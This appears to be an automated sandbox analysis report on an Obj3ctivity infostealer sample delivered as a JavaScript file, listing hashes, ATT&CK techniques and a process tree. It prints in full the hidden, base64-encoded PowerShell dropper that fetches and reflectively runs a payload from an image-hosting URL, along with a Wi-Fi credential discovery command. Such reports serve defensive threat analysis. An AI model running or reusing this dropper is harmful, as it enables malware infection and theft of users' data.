obj3ctivity | 30d2391235b157a81c33a2a7716c3d07bd897b3d1cd663f24f9838ec3ac2eec3

Analysis

max time kernel
149s
max time network
136s
platform
windows11-21h2_x64
resource
win11-20260126-en
resource tags

arch:x64arch:x86image:win11-20260126-enlocale:en-usos:windows11-21h2-x64system
submitted
28/01/2026, 15:27

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General

Target
RESERVATION_DETAILS.js
Size 1.1MB
Sample260128-sv1bbae16a
SHA256 30d2391235b157a81c33a2a7716c3d07bd897b3d1cd663f24f9838ec3ac2eec3
MD5 858e4a615ab17a0692a6e4864f2a6a80
SHA1 2024e3b09cd2dec4d76ed6f4df735ac114b9b84f
SHA512 492d5638a3edd47697d51111a5b7598cdf82fdc5ca68c06e056cbfe226ead6dd25fe282042fec49e73fbbd6e5db85440ba9a35dd7b586bd3befc123a1507f7b7
SSDEEP 192:HCBrQxeCgPML43WwLPqPR2kmXgRN0kRjRXRxRzVgg5oOLRamb2XK82799QKuN4vf:iV2KlQlx+lBZ4vsXw98LtUM9Rfrq
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

collection discovery execution obj3ctivity persistence privilege_escalation stealer

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://res.cloudinary.com/dxxyxpqxg/image/upload/v1769187753/optimized_MSI_nthgyz.jpg
exe.dropper
https://res.cloudinary.com/dxxyxpqxg/image/upload/v1769187753/optimized_MSI_nthgyz.jpg

Signatures

Detects Obj3ctivity Stage1 1 IoCs

Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.

stealer

resource	yara_rule
behavioral2/memory/4828-11-0x0000000000400000-0x00000000004E6000-memory.dmp	family_obj3ctivity

Obj3ctivity family
obj3ctivity
Obj3ctivity, PXRECVOWEIWOEI
Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.
stealer obj3ctivity

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3784	3532	powershell.exe	77

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3784	powershell.exe
3	3784	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3784	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-502527451-2918053701-1311427017-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Msbuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-502527451-2918053701-1311427017-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Msbuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-502527451-2918053701-1311427017-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Msbuild.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	icanhazip.com
1	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3784 set thread context of 4828	3784	powershell.exe	80

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Msbuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
5332	cmd.exe
5656	netsh.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	Msbuild.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Msbuild.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
3784	powershell.exe
3784	powershell.exe
3784	powershell.exe
3784	powershell.exe
3784	powershell.exe
3784	powershell.exe
3784	powershell.exe
3784	powershell.exe
3784	powershell.exe
3784	powershell.exe
3784	powershell.exe
3784	powershell.exe
3784	powershell.exe
3784	powershell.exe
4828	Msbuild.exe
4828	Msbuild.exe
4828	Msbuild.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3784	powershell.exe
Token: SeDebugPrivilege	4828	Msbuild.exe
Token: SeSecurityPrivilege	2652	msiexec.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 3784 wrote to memory of 4828	3784	powershell.exe	80
PID 3784 wrote to memory of 4828	3784	powershell.exe	80
PID 3784 wrote to memory of 4828	3784	powershell.exe	80
PID 3784 wrote to memory of 4828	3784	powershell.exe	80
PID 3784 wrote to memory of 4828	3784	powershell.exe	80
PID 4828 wrote to memory of 5332	4828	Msbuild.exe	81
PID 5332 wrote to memory of 5392	5332	cmd.exe	84
PID 5332 wrote to memory of 5656	5332	cmd.exe	85
PID 5332 wrote to memory of 4400	5332	cmd.exe	86

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-502527451-2918053701-1311427017-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Msbuild.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-502527451-2918053701-1311427017-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Msbuild.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\RESERVATION_DETAILS.js
1⤵
PID:4948

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGF0dGFja2VycyA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JGF0dGFja2Vycy5IZWFkZXJzLkFkZCgiVXNlci1BZ2VudCIsICJNb3ppbGxhLzUuMCIpOyRhdHRhY2tlcnMuSGVhZGVycy5BZGQoIkFjY2VwdCIsICJ0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgiKTskYXR0YWNrZXJzLkhlYWRlcnMuQWRkKCJBY2NlcHQtTGFuZ3VhZ2UiLCAiZW4tVVMsZW47cT0wLjkiKTskaHlkcm9waXBlcnMgPSAnI0BAJSQ6Ly9yZSQuY2xvdWRpbmFyeS5jb20vZHh4eXglcXhnL2ltYWdlL3UlbG9hZC92MTc2OTE4Nzc1My9vJUBpbWl6ZWRfTVNJX25AI2d5ei5qJWcnLlJlcGxhY2UoJyMnLCAnaCcpLlJlcGxhY2UoJ0AnLCAndCcpLlJlcGxhY2UoJyUnLCAncCcpLlJlcGxhY2UoJyQnLCAncycpOyRsaW1wYXJkID0gJGF0dGFja2Vycy5Eb3dubG9hZERhdGEoJGh5ZHJvcGlwZXJzKTskZmluZ2VycHJpbnRzID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6QVNDSUkuR2V0U3RyaW5nKCRsaW1wYXJkKTtpZiAoJGZpbmdlcnByaW50cyAtbWF0Y2ggJ0Jhc2VTdGFydC0oLio/KS1CYXNlRW5kJykgeyAgJHN1YnJhZHVsYXIgPSAkbWF0Y2hlc1sxXTsgICR0YXdlZCA9IFtSZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJHN1YnJhZHVsYXIpKTsgICRhcmdzQmFzZTY0ID0gJ0p6Qm9TR1IxYXpOWkNnMTFWakphYkVvelRESldSMXAxU1dwamRVRjZUakpqYWxwcldtcGFhVXA2VFRWVmJVNDFhMFJPYldSRVRtdGFSRTh4VlZSTk1rVXlUVzFrZWsxMFNWZGtkemw1VERaTlNHTXdVa2hoSnl3bkp5d25RenBjVlhObGNuTmNVSFZpYkdsalhFUnZkMjVzYjJGa2Mxd25MQ2RPWVcxbFgwWnBiR1VuTENkTmMySjFhV3hrSnl3bkp5d25UWE5pZFdsc1pDY3NKeWNzSjJoMGRIQnpPaTh2WTJSdUxtUnBjMk52Y21SaGNIQXVZMjl0TDJGMGRHRmphRzFsYm5Sekx6RXhPREV6TnpnNU1ESXhNVFl3TVRZeU1qSXZNVFF6T0RZNE1qUXlNRFEzTkRneE1EVXlNUzl6YUdsdExuWmljejlsZUQwMk9URTNZelJsWVNacGN6MDJPVEUyTnpNMllTWm9iVDA1WVdJMlpqRXlaV1l4WmpSbE9ETXpOelEyTjJVeU9EQmlOMk5oWXprelpqVTNOekl5TVdRelptWXdPREU1WlRKbFlqTTBOVFJtTWpZek1UTXlNelUxSmljc0owTTZYRlZ6WlhKelhGQjFZbXhwWTF4RWIzZHViRzloWkhOY0p5d25UbUZ0WlY5R2FXeGxKeXduYW5NbkxDY3hKeXduSnl3blZHRnphMTlPWVcxbEp5d25NQ2NzSnljc0p5Y3NKeWM9JzsgICRhcmdzU3RyaW5nID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkYXJnc0Jhc2U2NCkpOyAgJGFyZ3MgPSAkYXJnc1N0cmluZyAtc3BsaXQgJywnIHwgRm9yRWFjaC1PYmplY3QgeyAkXy5UcmltKCcnJyInICkgfTsgIFtTb2Z0d2FyZS5Qcm9ncmFtXS5HZXRNZXRob2QoIk1haW4iKS5JbnZva2UoJG51bGwsICRhcmdzKTt9')) | Invoke-Expression"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3784
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"
  2⤵
  - Accesses Microsoft Outlook profiles
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - outlook_office_path
  - outlook_win_path
  PID:4828
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:5332
  - - C:\Windows\SysWOW64\chcp.com
      chcp 65001
      4⤵
      System Location Discovery: System Language Discovery
      PID:5392
  - - C:\Windows\SysWOW64\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Location Discovery: System Language Discovery
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:5656
  - - C:\Windows\SysWOW64\findstr.exe
      findstr All
      4⤵
      System Location Discovery: System Language Discovery
      PID:4400

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2652

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_vkxofbmb.b0b.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vkxofbmb.b0b.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3784-1-0x0000014434420000-0x0000014434430000-memory.dmp

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memory/3784-0-0x0000014434420000-0x0000014434430000-memory.dmp

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memory/3784-8-0x0000014437120000-0x0000014437142000-memory.dmp

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memory/3784-9-0x0000014434420000-0x0000014434430000-memory.dmp

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memory/3784-10-0x0000014437660000-0x00000144376D0000-memory.dmp

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memory/4828-15-0x0000000005940000-0x00000000059A6000-memory.dmp

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memory/4828-14-0x0000000005A20000-0x0000000005A30000-memory.dmp

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memory/4828-11-0x0000000000400000-0x00000000004E6000-memory.dmp

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memory/4828-16-0x0000000006660000-0x0000000006672000-memory.dmp

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memory/4828-17-0x0000000006980000-0x0000000006B42000-memory.dmp

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memory/4828-38-0x0000000007200000-0x00000000077A6000-memory.dmp

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memory/4828-39-0x0000000006CD0000-0x0000000006D46000-memory.dmp

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memory/4828-40-0x0000000007040000-0x00000000070D2000-memory.dmp

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memory/4828-55-0x0000000005A20000-0x0000000005A30000-memory.dmp

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memory/4828-56-0x0000000007CE0000-0x000000000820C000-memory.dmp

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